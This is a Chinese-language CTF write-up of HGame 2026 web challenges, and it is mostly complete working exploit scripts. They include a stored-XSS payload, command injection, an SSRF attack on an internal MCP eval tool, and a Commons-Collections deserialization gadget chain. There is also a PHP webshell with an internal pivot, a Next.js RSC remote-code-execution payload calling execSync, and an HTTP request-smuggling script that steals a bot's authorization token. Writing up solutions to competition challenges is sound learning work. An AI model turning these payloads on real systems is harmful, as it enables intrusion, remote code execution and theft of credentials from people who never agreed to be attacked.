HGame2026

2025的没打成,然后就来体验2026了

也是趁机偷了个三血,不过寒假天天在外面,不然应该能抢到不少(

Week1

魔理沙的魔法目录

访问主页发现是一个静态文档站,但页面加载了 javascripts/tracker.js

tracker.js 里抽到关键字符串:

  • 接口:/login/record/check
  • 需要 Authorization
  • JSON 字段名:usernametime
  • check 里有 flag 字段

据此流程:

  1. /login 获取 token
  2. /record 上报时长(time)
  3. /check 校验并返回 flag
1
2
3
4
5
6
7
8
9
10
11
12
import requests

base = "http://cloud-middle.hgame.vidar.club:31093"

token = requests.post(base + "/login", json={"username": "test"}).json()["token"]

headers = {"Authorization": token}
requests.post(base + "/record", headers=headers, json={"time": 9999999})

print(requests.get(base + "/check", headers=headers).json())

#hgame{You-4r3_41SO-4-mAhOU-T5UKAi_n0W!120128}

Vidarshop

UID:

  • a→1, b→2, …, z→26
  • 数字直接拼接
1
2
admin -> 1 4 13 9 14 -> 1413914
nmin -> 14 13 9 14 -> 1413914

所以注册 nmin 即可拿到 uid=1413914,随后请求里带 uid=1413914,服务端判断 is_admin=true

测试:

1
{"username": {"x": 1}}

会报错:'str' object has no attribute 'x',说明它在递归 setattr

进一步发现:

  • user.info 是一个方法
  • user.info.__func__ 取到函数对象
  • user.info.__func__.__globals__ 可访问全局变量

因此可以直接修改全局 balance

1
2
3
4
5
6
7
8
9
{
"info": {
"__func__": {
"__globals__": {
"balance": 1000000
}
}
}
}

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests

base = "http://cloud-middle.hgame.vidar.club:32153"

u, p = "nmin", "pass123"
requests.post(base+"/register", json={"username":u, "password":p})
login = requests.post(base+"/login", json={"username":u, "password":p}).json()

headers = {
"Authorization": "Bearer " + login["token"],
"uid": login["uid"], # 1413914
"Content-Type": "application/json"
}

payload = {"info":{"__func__":{"__globals__":{"balance":1000000}}}}
requests.post(base+"/api/update", headers=headers, json=payload)

r = requests.post(base+"/api/buy", headers=headers, json={"item":"flag"})
print(r.text)

#hgame{Re4laDM1n-mUStB3r1cH26236bd146}

绘马挂 - 博丽神社

index.html 的渲染逻辑中:

1
2
3
4
5
6
7
8
9
10
// 省略
msgs.forEach(m => {
const div = document.createElement('div');
div.className = 'card';
div.innerHTML = `
<div class="meta">...</div>
<div class="msg-content">${m.content}</div>
`;
list.appendChild(div);
});

可以看到 m.content 直接拼接进 innerHTML,没有任何转义或过滤,因此可以利用存储型XSS

payload:

1
<img src=x onerror='fetch("/api/archives").then(r=>r.json()).then(d=>{for(let m of d){if(m.content&&m.content.includes("Hgame{")){fetch("/api/messages",{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({content:m.content,is_private:false})});break}}})'>

访问首页按钮“ 呼叫灵梦”会调用:

1
POST /api/report

即可让管理员查看页面,从而触发 XSS

1
The_Secret_Is: Hgame{tHE-s3cret_of_hakuREi-J1NjA149d81e0}

MyMonitor

  • MonitorStruct 通过 sync.Pool 复用,但在 ShouldBindJSON 失败时直接返回,没有调用 reset() 清空字段
  • UserCmdAdminCmd 都从池中取对象;因此如果我们在 校验失败 的请求里污染 Args,对象会被放回池里带着旧值
  • 管理员端在 /api/admin/cmd 拼接 cmd + " " + args,且前端不传空 args 字段,导致可能复用旧的 Args
  • Gin 默认 debug 模式会 每次请求重新读取模板,因此覆盖 templates/login.html 后访问 /login 即可读出内容
  • 题面提示管理员会周期性执行 ls,触发注入
1
2
3
4
POST /api/account/register
Content-Type: application/json

{"username":"uXXXX","password":"pXXXX"}
1
2
3
4
5
POST /api/user/cmd
Content-Type: application/json
Authorization: <token>

{"cmd":" ","args":";cat /flag > /app/templates/login.html"}

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests, json, time, random, string

base='http://cloud-middle.hgame.vidar.club:31838'

u='u'+''.join(random.choice(string.ascii_lowercase+string.digits) for _ in range(8))
p='p'+''.join(random.choice(string.ascii_lowercase+string.digits) for _ in range(8))
print('user',u,p)

res=requests.post(base+'/api/account/register', json={'username':u,'password':p})
print(res.status_code,res.text)

if res.status_code!=200:
res=requests.post(base+'/api/account/login', json={'username':u,'password':p})
print('login',res.status_code,res.text)

try:
j=res.json()
except Exception:
print('json parse failed',res.text)
raise

token=j.get('Authorization') or j.get('authorization') or j.get('Authorization'.lower())
print('token',token)
if not token:
raise SystemExit('no token')

payload={'args':';cat /flag > /app/templates/login.html'}
res=requests.post(base+'/api/user/cmd', headers={'Authorization':token}, json=payload)
print('poison',res.status_code,res.text)

for i in range(60):
r=requests.get(base+'/login')
if 'flag' in r.text.lower():
print('found',r.text)
break
print('try',i,'len',len(r.text))
time.sleep(2)

#hgame{r3meMb3R-to_CLEAR_Th3-Buff3r-bEfOR3_YoU-w@NT_t0_U53!!!0}

My Little Assistant

通过 py_request 访问一个“恶意网页”,让网页里的 JS 在浏览器中向内网 MCP 发起 POST,执行 py_eval 读取 /flag,再把结果写回页面

准备一个带 JS 的 HTML,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!doctype html>
<html>
<body>
<script>
(async () => {
const payload = {
jsonrpc: "2.0",
id: 1,
params: {
name: "py_eval",
arguments: {
code: "flag=open('/flag').read()"
}
}
};
const res = await fetch("http://127.0.0.1:8001/mcp", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify(payload)
});
const text = await res.text();
document.body.innerText = text;
})();
</script>
</body>
</html>

调用 py_request 访问这个页面:

1
2
3
4
POST /execute_tool
Content-Type: application/json

{"name":"py_request","arguments":{"url":"https://vps/exploit.html"}}

返回的 page.content() 中包含 MCP 的执行结果,直接解析出 flag

hgame{4lmCP-DrIven-X5S-atTacK-CH@iNca4c35}


Week2

easyuu

关键漏洞链为:任意目录遍历读取 + 任意路径写文件 + 自动更新执行

  1. 后端存在 POST /api/list_dir,服务端直接对传入的 path 进行 read_dir无任何校验,可列举任意目录
  2. POST /api/upload_file 支持表单字段 path1 指定写入目录,可任意路径写文件
  3. 服务端有 update_watcher,每 5 秒执行 ./update/easyuu --version 来检查更新
  4. 利用第 2 点将 /app/update/easyuu 覆盖成脚本,该脚本在 --version 模式下执行一次即可落盘敏感信息
  5. 脚本把环境变量写入 /app/uploads/env.txt,随后从下载接口读取即可拿到 FLAG
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests, textwrap, time

BASE = "http://1.116.118.188:31875"

# 覆盖 /app/update/easyuu 为脚本
script = textwrap.dedent("""\
#!/bin/sh
if [ "$1" = "--version" ]; then
if [ ! -f /app/uploads/env.txt ]; then
env > /app/uploads/env.txt 2>/dev/null
fi
echo 0.1.0
exit 0
fi
while true; do sleep 3600; done
""")

upload_url = f"{BASE}/api/upload_file"
files = {"file": ("easyuu", script.encode())}
data = {"path1": "/app/update"}

r = requests.post(upload_url, files=files, data=data, timeout=10)
print("upload status:", r.status_code, r.text)

time.sleep(6)

env_url = f"{BASE}/api/download_file/env.txt"
r = requests.get(env_url, timeout=10)
print("env status:", r.status_code)
print(r.text)

for line in r.text.splitlines():
if line.startswith("FLAG="):
print("FLAG:", line.split("=", 1)[1])

# FLAG=hgame{uP1o4d_4Nd-UpdAte_4re_RE@ILY_EaSy49315}

ezCC

反序列化入口(myServlet

文件:easycc/src/war/WEB-INF/classes/Hgame/ezCC/myServlet.class

通过反编译(javap -c -p)可还原 /welcome 逻辑核心:

1
2
3
cookieValue = Cookie("userInfo").getValue();
obj = Tool.deserialize(Tool.base64Decode(cookieValue));
user = (UserInfo) obj;

也就是:cookie 可控 -> Base64 解码 -> Java 反序列化

反序列化实现(Tool

文件:easycc/src/war/WEB-INF/classes/Hgame/ezCC/Tool.class

核心代码等价于:

1
2
3
4
public static Object deserialize(byte[] bytes) {
ObjectInputStream ois = new BlacklistObjectInputStream(new ByteArrayInputStream(bytes));
return ois.readObject();
}

文件:easycc/src/war/WEB-INF/classes/Hgame/ezCC/BlacklistObjectInputStream.class

resolveClass 仅拦截一个类名:

1
2
3
if (name.equals("org.apache.commons.collections.functors.InvokerTransformer")) {
throw new InvalidClassException(...)
}

只禁了 InvokerTransformer,其余 CC 组件仍可用

文件:easycc/src/war/META-INF/maven/Hgame.ezCC/Hgame2026/pom.xml

依赖存在:

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

因此可以利用 Commons-Collections 链,但要避开 InvokerTransformer

  1. 选择不含 InvokerTransformer 的链:
    LazyMap + TiedMapEntry + ChainedTransformer + InstantiateTransformer + TrAXFilter + TemplatesImpl

  2. TemplatesImpl 中注入恶意 Translet 字节码

  3. 恶意类静态代码块读取 FLAG

  4. 反序列化触发后 Tomcat 返回 500,错误页会带异常信息,从而回显 flag

    目标是 Tomcat9 + JDK8,因此恶意类版本需兼容 Java8(major version=52)。在生成器中把 class 文件版本强制改为 0x0034

编译命令:

1
2
3
4
5
6
javac --add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED `
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED `
--add-exports java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED `
--add-exports java.xml/com.sun.org.apache.xml.internal.dtm=ALL-UNNAMED `
--add-exports java.xml/com.sun.org.apache.xml.internal.serializer=ALL-UNNAMED `
-cp easycc\src\war\WEB-INF\lib\commons-collections-3.2.1.jar GenEzCCPayload.java

Java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

import javax.xml.transform.Templates;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class GenEzCCPayload {
public static class EvilTranslet extends AbstractTranslet {
private static void fail(String message) {
throw new RuntimeException(message);
}

static {
try {
String flag = System.getenv("FLAG");
if (flag == null || flag.isEmpty()) {
String[] paths = new String[] {
"/flag", "/flag.txt", "/root/flag", "/root/flag.txt", "/app/flag", "/app/flag.txt"
};
for (String p : paths) {
try {
Path path = Paths.get(p);
if (Files.isRegularFile(path)) {
flag = new String(Files.readAllBytes(path), StandardCharsets.UTF_8).trim();
if (!flag.isEmpty()) {
break;
}
}
} catch (Throwable ignored) {
}
}
}
if (flag == null || flag.isEmpty()) {
flag = "FLAG_NOT_FOUND";
}
fail(flag);
} catch (RuntimeException e) {
throw e;
} catch (Throwable t) {
throw new RuntimeException(t);
}
}

public EvilTranslet() {
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Class<?> c = obj.getClass();
while (c != null) {
try {
Field f = c.getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
return;
} catch (NoSuchFieldException e) {
c = c.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}

private static byte[] getClassBytes(Class<?> clazz) throws IOException {
String resource = clazz.getName().replace('.', '/') + ".class";
try (InputStream in = clazz.getClassLoader().getResourceAsStream(resource)) {
if (in == null) {
throw new IOException("Cannot read class bytes: " + resource);
}
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[4096];
int n;
while ((n = in.read(buf)) != -1) {
bos.write(buf, 0, n);
}
return bos.toByteArray();
}
}

private static byte[] forceJava8ClassVersion(byte[] cls) {
byte[] out = cls.clone();
if (out.length > 8) {
out[6] = 0x00;
out[7] = 0x34;
}
return out;
}

private static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(bos)) {
oos.writeObject(obj);
}
return bos.toByteArray();
}

@SuppressWarnings({ "rawtypes", "unchecked" })
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
byte[] evilBytes = forceJava8ClassVersion(getClassBytes(EvilTranslet.class));
setFieldValue(templates, "_bytecodes", new byte[][] { evilBytes });
setFieldValue(templates, "_name", "ezcc");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Transformer[] fake = new Transformer[] { new ConstantTransformer(1) };
Transformer[] real = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templates })
};

ChainedTransformer chain = new ChainedTransformer(fake);
Map inner = new HashMap();
Map outer = LazyMap.decorate(inner, chain);
TiedMapEntry entry = new TiedMapEntry(outer, "k");

HashMap trigger = new HashMap();
trigger.put(entry, "v");
outer.remove("k");

setFieldValue(chain, "iTransformers", real);

byte[] serialized = serialize(trigger);
System.out.print(Base64.getEncoder().encodeToString(serialized));
}
}

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import html
import re
import subprocess
import requests
import urllib3

urllib3.disable_warnings()

JAVA_CMD = [
"java",
"--add-exports", "java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED",
"--add-exports", "java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED",
"--add-exports", "java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED",
"--add-exports", "java.xml/com.sun.org.apache.xml.internal.dtm=ALL-UNNAMED",
"--add-exports", "java.xml/com.sun.org.apache.xml.internal.serializer=ALL-UNNAMED",
"--add-opens", "java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED",
"-cp", ".;easycc\\src\\war\\WEB-INF\\lib\\commons-collections-3.2.1.jar",
"GenEzCCPayload"
]

b64_payload = subprocess.check_output(JAVA_CMD, text=True).strip()

url = "https://1.116.118.188:30636/welcome"
r = requests.get(url, cookies={"userInfo": b64_payload}, verify=False, timeout=20)

text = html.unescape(r.text)
m = re.search(r"hgame\{[^<\n\r]*\}", text, re.I)
if m:
print("flag:", m.group(0))
else:
print("flag not found")
print(text[:1200])

# hgame{32cc-IS_ReA1LY_B451C_15N't_lT?376571}

babyweb?

题目给的关键源码是上传处理逻辑(upload_handler.php),核心点如下:

  1. 上传目录固定为 uploads/,并且会自动创建
  2. move_uploaded_file() 直接把用户文件写入 uploads/$origName
  3. 扩展名白名单里明确包含 php
    • ["jpg","jpeg","png","gif","pdf","doc","docx","txt","htaccess","php"]
  4. 由于允许 php,所以可以直接上传 cmd.php 这类 webshell 并访问执行

所以可以上传一个最小 webshell:

1
<?php if (isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>

访问:

/uploads/cmd.php?cmd=id

回显:

uid=65534(nobody) gid=65534(nobody) ...

为了稳定访问内网第二层服务(避免高层 HTTP 封装干扰),再上传一个 rawsock.php

  • 参数 host/port/req
  • 服务端 fsockopen() 连内网
  • 原始写入 HTTP 报文
  • 读取原始响应并 base64 返回

通过它确认内网存在 10.0.0.2:3000(Next.js dev 服务)

访问内网主页可见提示:flag 在 /flag,但直接 HTTP 访问 /flag 是 404 路由,不等于文件不可读

结合 Next.js dev 环境特征,走 next-action 的 multipart 反序列化链,构造恶意 RSC 模型,让服务端执行任意 JS

所以我们可以:

  1. 构造 multipart/form-data 三个字段 0/1/2
  2. 在字段 0 里放置:
    • then: "$1:__proto__:then"
    • _formData.get: "$1:constructor:constructor"(拿到 Function 构造器)
    • _prefix 为要执行的 JS 代码
  3. 通过第一层 rawsock.php 把该请求原样打到 10.0.0.2:3000
  4. JS 中执行:
    • process.mainModule.require('child_process').execSync('cat /flag')
  5. 再抛出 NEXT_REDIRECT,把 flag 放进 digest 字段,在响应中回显

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
import base64
import json
import re
import requests

BASE = "http://1.116.118.188:30140"
s = requests.Session()
s.trust_env = False


def upload(name: str, content: str):
files = {"fileToUpload": (name, content, "application/x-php")}
data = {"submit": "1"}
r = s.post(
f"{BASE}/upload_handler.php",
files=files,
data=data,
allow_redirects=False,
timeout=20,
)
return r.status_code, r.headers.get("Location")


def upload_rawsock():
php = r"""<?php
$host = $_REQUEST['host'] ?? '10.0.0.2';
$port = intval($_REQUEST['port'] ?? '3000');
$req = $_REQUEST['req'] ?? '';

$fp = @fsockopen($host, $port, $errno, $errstr, 10);
if (!$fp) {
header('Content-Type: application/json');
echo json_encode([
'ok' => false,
'error' => "connect fail: $errno $errstr",
'resp_b64' => ''
], JSON_UNESCAPED_SLASHES);
exit;
}

stream_set_timeout($fp, 20);
fwrite($fp, $req);
$resp = '';
while (!feof($fp)) {
$chunk = fread($fp, 8192);
if ($chunk === false) break;
$resp .= $chunk;
}
fclose($fp);

header('Content-Type: application/json');
echo json_encode([
'ok' => true,
'error' => '',
'req_len' => strlen($req),
'resp_b64' => base64_encode($resp)
], JSON_UNESCAPED_SLASHES);
?>"""
return upload("rawsock.php", php)


def raw_http(req: bytes, host="10.0.0.2", port=3000) -> bytes:
data = {"host": host, "port": str(port), "req": req.decode("latin1")}
r = s.post(f"{BASE}/uploads/rawsock.php", data=data, timeout=60)
r.raise_for_status()
obj = r.json()
if not obj.get("ok"):
raise RuntimeError(obj.get("error", "rawsock failed"))
return base64.b64decode(obj.get("resp_b64", ""))


def build_fields(js_payload: str):
field0 = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": js_payload,
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"},
},
}
return {"0": field0, "1": "$@0", "2": []}


def to_multipart(fields, boundary: str) -> bytes:
out = []
for k, v in fields.items():
out.append(f"--{boundary}\r\n".encode())
out.append(f'Content-Disposition: form-data; name="{k}"\r\n\r\n'.encode())
out.append(json.dumps(v, separators=(",", ":")).encode())
out.append(b"\r\n")
out.append(f"--{boundary}--\r\n".encode())
return b"".join(out)


def exploit():
upload_rawsock()

# 读取 /flag 并通过 NEXT_REDIRECT digest 回显
js_payload = (
"var res=process.mainModule.require('child_process').execSync('cat /flag',"
"{'timeout':5000}).toString().trim();"
"throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});"
)

boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
body = to_multipart(build_fields(js_payload), boundary)
req = (
"POST / HTTP/1.1\r\n"
"Host: 10.0.0.2:3000\r\n"
"Connection: close\r\n"
"Next-Action: x\r\n"
"X-Nextjs-Request-Id: ctf\r\n"
"X-Nextjs-Html-Request-Id: ctf\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body)}\r\n"
"\r\n"
).encode() + body

resp = raw_http(req).decode("utf-8", "replace")
print(resp)
m = re.search(r"flag\{[^\r\n}]+\}", resp, re.IGNORECASE)
if m:
print("\nFLAG:", m.group(0))
else:
print("\nFLAG not found")


if __name__ == "__main__":
exploit()


#flag{t4rget-lN-f4K3-tARG3t_xIX1484d4b6df}

文文新闻

  • 前端/代理:1.116.118.188:30612
  • 后端:1.116.118.188:30522

front_src/proxy.jssupervisord.conf 可知:

  • 外网只打到 Node 代理(80 -> 题面映射端口 30612
  • /api/* 由 Node 转发到本地 Rust:127.0.0.1:3000
  • Rust 后端直接暴露在 30522

因此我们可以:

  1. 30612 触发代理层与后端层之间的解析差异
  2. 30522 读取后端

front_src/proxy.js(与远端 /app/frontend/proxy.js 一致)关键代码:

1
2
3
4
5
6
7
8
const proxy = httpProxy.createProxyServer({
agent: new http.Agent({
keepAlive: true,
maxSockets: 100,
keepAliveMsecs: 10000
}),
xfwd: true,
});

这里有两个决定性细节:

  • keepAlive: true:代理到 Rust 的后端连接会复用,而不是一请求一连接
  • xfwd: true:代理会追加 x-forwarded-for / host / proto / port 等头

fs_dump/app_backend_src_http_parser.rsparse_packet 逻辑:

1
2
3
4
let body_length: usize = headers
.get("content-length")
.and_then(|v| v.parse().ok())
.unwrap_or(0);

可见该解析器:

  • 只看 Content-Length
  • 完全不实现 Transfer-Encoding: chunked 语义

这会直接造成 TE/CL 语义错位:

  • 前端代理(Node)会接受 chunked 报文并转发
  • 后端(Rust)把这类请求当成 body_length = 0 或按错误 CL 处理
  • chunk 数据区中的字节会进入后续解析路径,形成“内层请求可执行”的效果

另外,parse_headers 仅做了简单的 split_once(":") + trim + lowercase,没有协议层校验;parse_form 也只是按 &= 分割,不做 URL decode 或结构完整性检查

fs_dump/app_backend_src_main.rs

  • 每个 TCP 连接在一个循环里反复 read_buf,并在内层循环中持续 parse_packet
  • ParseResult::Partial 会等待更多字节
  • ParseResult::Invalid(skip_len)buffer.advance(skip_len) 跳过垃圾后继续解析

所以一旦我们构造出“未填满 body”的请求,后端会持续吃后续字节补齐,即使中间有异常片段,它会跳过继续找下一个可解析请求

配合代理 keep-alive,后续用户请求就可能成为我们请求体的一部分

fs_dump/app_backend_src_handlers.rs 关键点:

  1. handle_commentAuthorization 字符串在内存 USERS 中线性匹配用户
  2. POST /api/comment 支持 application/x-www-form-urlencoded,取 content 字段并直接入库:
1
2
3
4
comments.push(CommentData {
username: current_user,
content: new_comment.content,
});

这意味着:

  • 只要评论 content 中混入了原始 HTTP 请求头,就会被原样存储
  • 我们可以在评论正文里直接看到:
    • authorization: <token>
    • content-length
    • x-forwarded-*
    • host

本题中正是通过这条路径把 bot 的请求头泄露出来

  1. Node 代理允许 chunked 请求 + 后端连接复用
  2. Rust 解析器不支持 chunked,只按 CL 切包
  3. 我们把内层 POST /api/comment 夹到 chunk 数据中,让其被后端执行
  4. 内层请求故意设置更大的 Content-Length,让后续请求字节被吞进评论正文
  5. 等 bot 发帖,请求头里的 authorization 被写入评论
  6. 提取 token 后即可读到带 flag 的内容

ok,结合上面分析的,我们就可以有以下步骤:

先发送外层 Transfer-Encoding: chunked,chunk 数据中放一个完整内层 HTTP 请求

如果观察到内层请求被后端执行,说明成立

内层请求构造为:

  • POST /api/comment
  • Authorization 使用攻击者 token
  • Content-Type: application/x-www-form-urlencoded
  • Content-Length 设定为偏大(如 340)
  • body 只给 content=<marker>-

让后端卡在“等 body 补齐”的状态,然后就是等待并捕获 token

循环执行:

  1. 发投毒请求
  2. 等待 bot 正常发帖流量进入共享后端连接
  3. 再发 filler 请求补齐长度,迫使评论落库
  4. 用攻击者 token 到 30522 拉评论,按 marker 找命中评论
  5. 用正则提取 authorization: <uuid-token>
  6. 读取评论并获取 flag

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
import re
import socket
import sys
import time
import uuid

import requests


HOST = "1.116.118.188"
PROXY_PORT = 30612
BACKEND_BASE = "http://1.116.118.188:30522"
FLAG_RE = re.compile(r"(hgame\{[^\r\n}]{0,200}\}|flag\{[^\r\n}]{0,200}\}|ctf\{[^\r\n}]{0,200}\})", re.I)
TOKEN_RE = re.compile(r"authorization:\s*([0-9a-fA-F-]{36})", re.I)


def recv_drain(sock: socket.socket, timeout: float = 1.0) -> bytes:
sock.settimeout(timeout)
out = b""
while True:
try:
chunk = sock.recv(4096)
except Exception:
break
if not chunk:
break
out += chunk
if len(out) > 200000:
break
return out


def get_comments(token: str):
r = requests.get(BACKEND_BASE + "/api/comment", headers={"Authorization": token}, timeout=8)
if r.status_code != 200:
return None
try:
data = r.json()
except Exception:
return None
if not isinstance(data, list):
return None
return data


def send_poison(attacker_token: str, marker: str, body_len: int = 340) -> None:
prefix = f"content={marker}-".encode()
inner = (
b"POST /api/comment HTTP/1.1\r\n"
b"Host: x\r\n"
+ f"Authorization: {attacker_token}\r\n".encode()
+ b"Content-Type: application/x-www-form-urlencoded\r\n"
+ f"Content-Length: {body_len}\r\n".encode()
+ b"Connection: keep-alive\r\n\r\n"
+ prefix
)

outer = (
b"POST /api/register HTTP/1.1\r\n"
b"Host: 1.116.118.188:30612\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: keep-alive\r\n\r\n"
+ f"{len(inner):X}\r\n".encode()
+ inner
+ b"\r\n0\r\n\r\n"
)

s = socket.create_connection((HOST, PROXY_PORT), timeout=8)
s.sendall(outer)
recv_drain(s, timeout=1.2)
s.close()


def send_filler(marker: str) -> None:
body = '{"content":"' + ("F" * 1200) + '"}'
req = (
f"POST /api/comment?fill={marker} HTTP/1.1\r\n"
f"Host: {HOST}:{PROXY_PORT}\r\n"
"Content-Type: application/json\r\n"
f"Content-Length: {len(body)}\r\n"
"Connection: close\r\n\r\n"
+ body
).encode()

s = socket.create_connection((HOST, PROXY_PORT), timeout=8)
s.sendall(req)
recv_drain(s, timeout=1.2)
s.close()


def register_attacker():
username = "atk" + uuid.uuid4().hex[:6]
password = "pw" + uuid.uuid4().hex[:6]
r = requests.post(
BACKEND_BASE + "/api/register",
json={"username": username, "password": password},
timeout=8,
)
r.raise_for_status()
token = r.json()["token"]
return username, token


def find_marker_comment(comments, username: str, marker: str):
for item in reversed(comments):
if not isinstance(item, dict):
continue
if item.get("username") != username:
continue
content = item.get("content", "")
if marker in content:
return content
return None


def main() -> int:
attacker_user, attacker_token = register_attacker()
print(f"[+] attacker user: {attacker_user}")
print(f"[+] attacker token: {attacker_token}")

stolen_token = None
for i in range(1, 61):
marker = "M" + uuid.uuid4().hex[:6]
print(f"[*] attempt {i} marker={marker}")

send_poison(attacker_token, marker, body_len=340)
time.sleep(10)
send_filler(marker)
time.sleep(1)

comments = get_comments(attacker_token)
if comments is None:
print("[-] cannot fetch comments with attacker token")
continue

hit = find_marker_comment(comments, attacker_user, marker)
if not hit:
print("[-] no marker comment yet")
continue

m = TOKEN_RE.search(hit)
if not m:
print("[-] marker comment exists but no authorization header leaked")
continue

candidate = m.group(1)
print(f"[+] token: {candidate}")
if candidate == attacker_token:
print("[-] continue")
continue

probe = get_comments(candidate)
if probe is None:
print("[-] token invalid")
continue

stolen_token = candidate
print(f"[+] valid stolen token: {stolen_token}")
break

if not stolen_token:
print("[-] failed token in current attempts")
return 1

comments = get_comments(stolen_token)
if comments is None:
print("[-] cannot read comments")
return 1

flag = None
for item in comments:
if not isinstance(item, dict):
continue
text = item.get("content", "")
m = FLAG_RE.search(text)
if m:
flag = m.group(1)
break

if not flag:
print("[-] not found flag in comments")
return 1

print(f"[+] FLAG: {flag}")
return 0


if __name__ == "__main__":
sys.exit(main())

# hgame{ThIs-Is_a-dalLY-NewS1560694ec}